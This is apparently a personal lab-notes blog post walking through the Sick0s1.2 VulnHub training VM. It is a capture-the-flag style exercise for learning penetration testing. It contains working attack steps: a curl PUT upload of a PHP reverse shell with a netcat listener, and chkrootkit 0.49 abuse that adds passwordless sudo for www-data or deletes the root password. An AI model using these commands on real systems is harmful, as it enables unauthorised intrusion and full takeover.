Skip to main content

VM 14 : Sick0s1.2



walk thru

Notes :



walk thru

1. https://github.com/zionspike/vulnhub-writeup/blob/master/sick0s%201.2/kapi-note.md
2. https://wg135.github.io/blog/2016/05/31/vulhub-sickos1-dot-2/

Notes :

1) 80 and 22
-80 is lightpd 1.4.28
- openssh 5.9p1 dec 5ubunti1.8
-PHP 5.3.10

2) dirrb shows /test web folder & ~sys~(getting 403 - Forbidden)

3) Curl shows /test folder allows PUT OPTIONS headers and upload a reverse shell
curl --upload-file  php-reverse-shell.txt -v --url http://192.168.159.132/test/reverse_shell.php -0 --http1.0
*   Trying 192.168.159.132...
or
nmap -p80 192.168.79.180 --script http-put --script-args http-put.url='/test/shell.php',http-put.file='shell.php'

4) run nc on kali and point your browser to the php file
nc -nvlp 443

5) this will get you reverse shell
6) Tried to copy privshell file using the same process and ran nc to transfer the file. both didnt work.

7. looking around. found a chkrootkit under cron.daily. [ls -l /etc/cron.daily]
8. Look serachspolit for chkrootkit and we have one vulnerability applicable to version 0.49 [https://www.exploit-db.com/exploits/33899/]
9. run "dpkg -l | grep chkrootkit" or 

/var/www/test/>chkrootkit -V
chkrootkit version 0.49

to see the version of chkrootkit installed on the victim 
10. look  searchsploit to see the details of the vulnerability


echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
This should give my www-data account sudo rights without a password :)
...Not sure what each does
also need to change the privilages on the update file with chmod 777 and wait:

run run-parts cmd to execute cron job 
ls -al /etc/sudoers
try:
sudo su
instead of the echo & chmod command, I created a update script to remove the root password. Here is the script

$ echo 'passwd --delete root' > /tmp/update
$ chmod 777 /tmp/update
run parts. to run the cron job
when I ran the su root, I was getting Authentication failure but I was able to login to the console VM.
than I tried "sudo -i" which gave me root access

-i, --login

Run the shell specified by the target user's password database entry as a login shell. This means that login-specific resource files such as .profile, .bash_profile or .login will be read by the shell. If a command is specified, it is passed to the shell for execution via the shell's -c option. If no command is specified, an interactive shell is executed. sudo attempts to change to that user's home directory before running the shel.

or try 
user@host:~$ sudo bash
root@host:~# su


option b to run a file as root [source : http://jhosssecurity.blogspot.co.uk/2016/05/sickos-12-vulnhub.html]
or option c to use metasploit chkrootkit module [https://www.gknsb.com/2016/05/sickos-12-writeup.html]
11.chkrootkit Vulnerability

The vulnerability in chkrootkit requires that you create an executable file call update withing the /tmp directory of the server. When the cron job is run, the executable will be run as root. This was probably my biggest hangup when working through this machine. I tried many different executables before realizing that I knew the file name and location of the object I wanted. Therefore, I created a simple executable bash script to copy the file to the /tmp directory and change it's permissions to where all users could read it. 



I had to remember to chmod +x update in order to allow the file to be run by the chkrootkit. 

  

 Since the cron job was only run daily, I used a simple command to make it run now. This run-parts command asked for a password for some parts of the job, but after skipping past entering the password, the job was able to finish.


 At the end, my file was sitting in the tmp directory and I was able to open it as www-data.


or option d to create a little, stupid simple program that sets the setgid and setuid and then spawns a shell. [http://ch3rn0byl.com/sickos-1-2-walkthrough/]


12. First thing I did was create a little, stupid simple program that sets the setgid and setuid and then spawns a shell. After this, I take advantage of update to set root ownership of this simple, yet deadly binary that will allow me to run it >:D
If all goes well, I will now have a simple tool of mass destruction waiting for me in /tmp.
Now, after waiting a minute or so…it’s time to check!
Great success!!

Comments

Popular posts from this blog

VM 9 : PHP Include And Post Exploitation

Walkthrough 1.        https://medium.com/@Kan1shka9/pentesterlab-php-include-and-post-exploitation-walkthrough-8a85bcfa7b1d 2.        Ine [] 3.        http://megwhite.com.au/pentester-lab-bootcamp-walkthrough-php-include-post-exploitation/ 4.        http://fallensnow-jack.blogspot.com/2014/07/pentester-lab-php-lfi-post-exploitation.html Notes: root@kali:~# nmap 10.0.0.12 Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-30 12:23 EDT Nmap scan report for 10.0.0.12 Host is up (0.00035s latency). Not shown: 999 filtered ports PORT    STATE SERVICE 80/tcp open   http MAC Address: 08:00:27:1F:12:24 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds root@kali:~# Enumerating port 80 Run dirb root@kali:~# dirb http://10.0.0.12/ ----------------- DIRB v2.22 By The Dark Raver...

VM 5: Vulnix :

Walkthru: A. https://mrh4sh.github.io/vulnix-solution [SMTP and Finger enumeration, creating linux user with specific UID, root squashing, ssh pwd cracking using medusa & hydra, logging using ssh keys, updating /usr/sbin/exportfs] B. http://overflowsecurity.com/hacklab-vulnix/ [ same as above. create ssh keys for root and copied to victim to login as root w/o recovering pwd] C. https://www.rebootuser.com/?p=988[ local bash shell from nfs] B. https://www.vulnhub.com/?q=vulnix&sort=date-des&type=vm [list of solutions] D. https://www.rebootuser.com/?p=988 [User Enumeration #1 – SMTP, Finger; Entry Point including hydra, Putty(using rlogin service), nfs (showmount,mount) ] Notes: - As you can see the root user is the only account which is logged on the remote  host.Now that we have a specific username we can use it in order to obtain more information about this user with the command  finger root@host . -  Another effective use of the finger...

VM 13 : Basic Pentest 1 csec

Notes: Walkthru: 1. https://medium.com/@evire/basic-pentesting-1-7251fb3e3f9e [ w/metasploi t using Wordpress t] 2. https://prasannakumar.in/infosec/vulnhub-basic-pentesting-1-writeup/ [ w/metasploit using ftp ] 3.  https://www.ceos3c.com/hacking/basic-pentesting-1-walkthrough/ [ by uploading php-reverse-shell in wordpress ] 4. http://k3ramas.blogspot.com/2018/02/basic-pentesting-1-walkthrough.html [  access wordpress config file to get pwd and access the DB ] 5.  https://cowsayroot.com/walkthrough-basic-pentesting-1/ [ Wpscan, ftp metasploit vulnerability, phpbash ] 6.   http://www.hackingarticles.in/hack-the-basic-penetration-vm-boot2root-challenge/    [use msfvenom to create  to create php shell to be uploaded in Wordpress ] 7.   https://d7x.promiselabs.net/2018/01/30/ctf-basic-pentesting-a-guide-for-beginners/ [adding command using using PHP] Notes:  Ports - 21...ProFTPD 1.3.3c - 22 openSSH 7.2p2 ubuntu ...